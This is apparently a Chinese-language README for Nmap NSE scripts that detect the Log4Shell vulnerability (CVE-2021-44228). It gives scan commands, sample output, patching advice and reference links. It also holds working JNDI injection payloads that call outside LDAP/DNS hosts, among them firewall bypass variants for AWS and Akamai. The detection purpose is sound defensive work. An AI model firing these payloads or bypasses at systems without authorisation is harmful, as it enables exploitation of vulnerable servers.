Nmap NSE 脚本,用于检查 log4shell 或 LogJam 漏洞(CVE-2021-44228)。 这些 NSE 脚本检查互联网上最常用的暴露服务。这是一个基础脚本,你可以自定义 payload。
请注意,NSE 脚本只会向服务发出请求。Nmap 不会报告易受攻击的主机,你需要检查 DNS 日志来确定漏洞。如果你没有手动指定 payload,NSE 脚本将默认使用 dnslog.cn。这意味着请求将被 dnslog.cn 看到。
切换到这些脚本所在的目录,并执行以下命令(Nmap 会自动获取 dnslog.cn)。
在 Linux 上:
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org
在 Windows 上:
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org
v2.15.0 的新补丁绕过(CVE-2021-45046),感谢 @marcioalm(推文):
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}
AWS 绕过(感谢 @11xuxx - 推文):
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}
Akamai 绕过(感谢 @ozgur_bbh - 推文):
${jndi${123%25ff:-}:ldap://HOST:PORT/a}
Windows 示例(感谢 @ZedFuzz)- 注意如何转义引号:
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org
前往 http://github.com/kost/logdns 获取 DNS 服务器。获取域名并将其指向你安装 logdns 的某个位置:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
前往 http://dnslog.cn/ 获取子域。用你的子域替换 xxxx:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
从 Burp collaborator 获取你的域名,并用你的域名替换 xxxx:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
从 CanaryToken 获取你的 Token,并用你的域名替换 xxxx:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN
感谢 @saintz666
dnslog.cn 的会话时间很短(大约半小时)。应该有办法将会话延长到扫描所需的时间。此外,有时 DNS 查询会远晚于收到请求的时间。有人报告在发出请求数小时后才收到 DNS 请求。 作为变通方案,nmap NSE 脚本会在每次扫描主机后检索会话。
因此,目前来说,为了最佳保证,建议使用自定义 DNS 域名配合 logdns 之类的工具: https://github.com/kost/logdns
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
| Domain: 2t722h.dnslog.cn
|_ Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
9929/tcp open nping-echo
31337/tcp open Elite
Host script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds
最佳修复和变通方案列表。
保护免受 CVE-2021-44228 影响的最佳解决方案: 更新到 log4j-2.16.0 或更高版本。
注意,由于发现了新漏洞,不再推荐使用 log4j-2.15.0-rc1。因此,你应更新到 log4j-2.16.0 或更高版本(感谢 @ruppde)。
此外,还应注意应避免其他建议,例如将 log4j2.formatMsgNoLookups 设置为 true。
通过查看本地文件系统中是否存在 log4j 构件来识别 log4shell 漏洞是最佳方法。
这些 NSE 脚本仅应用于额外的保证。NSE 有助于识别易受攻击的服务,而非易受攻击的应用程序。如果应用程序记录每个请求(包括根路径 /),则它可以识别易受攻击的应用程序,但如果漏洞隐藏在某个登录后面,则无法识别。你需要一个能爬取整个网站的 Web 扫描器来实现这一点。
你可以通过以下示例检查特定 URI:
http-log4shell.url=/my/application/uri
它将通过 HTTP 头和 cookie 进行检查。如果你需要检查 POST/GET 表单,则应使用 http-spider-log4shell。尽管如此,最好还是使用支持 log4j 的 Web 扫描器。
还要注意,对于 log4j-core <= 2.7,在表达式中使用前缀组合的 DNS 解析似乎不受支持。因此,使用类似 ${java:os} 进行测试可能导致假阴性。
因此,宁可有一些误报,也不要有漏报。
关于漏洞的一般参考资料和链接
Reddit thread - 关于 log4shell 的通用信息
NCC log4shell - 关于漏洞的操作信息(IOCs、缓解措施、扫描、软件)
BlueTeam CheatSheet Log4Shell - 与 Log4Shell(CVE-2021-44228)相关的安全公告 / 公告列表
Software List - cheat-sheet reference guide - 按厂商响应列出的受影响软件列表
请注意,远程和在线检查作为额外保证或快速测试是有用的。为了额外的保证,建议在本地扫描文件以查找已知的 log4j 特征。
lo4shell.huntress.com - 在线 Log4Shell 漏洞测试器
log4j yara - 用于本地检测的 yara 规则
identify-log4j-class-location.sh - 用于识别 ear/war/jar 文件中受 Log4J 漏洞 CVE-2021-44228 影响的类的脚本
PoC-log4j-bypass-words - 绕过单词屏蔽补丁的技巧
log4shell-detector - Log4Shell 利用尝试检测器
Log4Shell-IOCs - IOC 源和威胁报告列表
log4j_rce_detection.md - 你可以使用这些命令和规则搜索利用尝试
log4j advisory - Apache Log4j 安全漏洞
log4j pull request and comments - 修复漏洞的 pull request 及评论
Logout4Shell - 手动修补的快速且粗糙的替代方案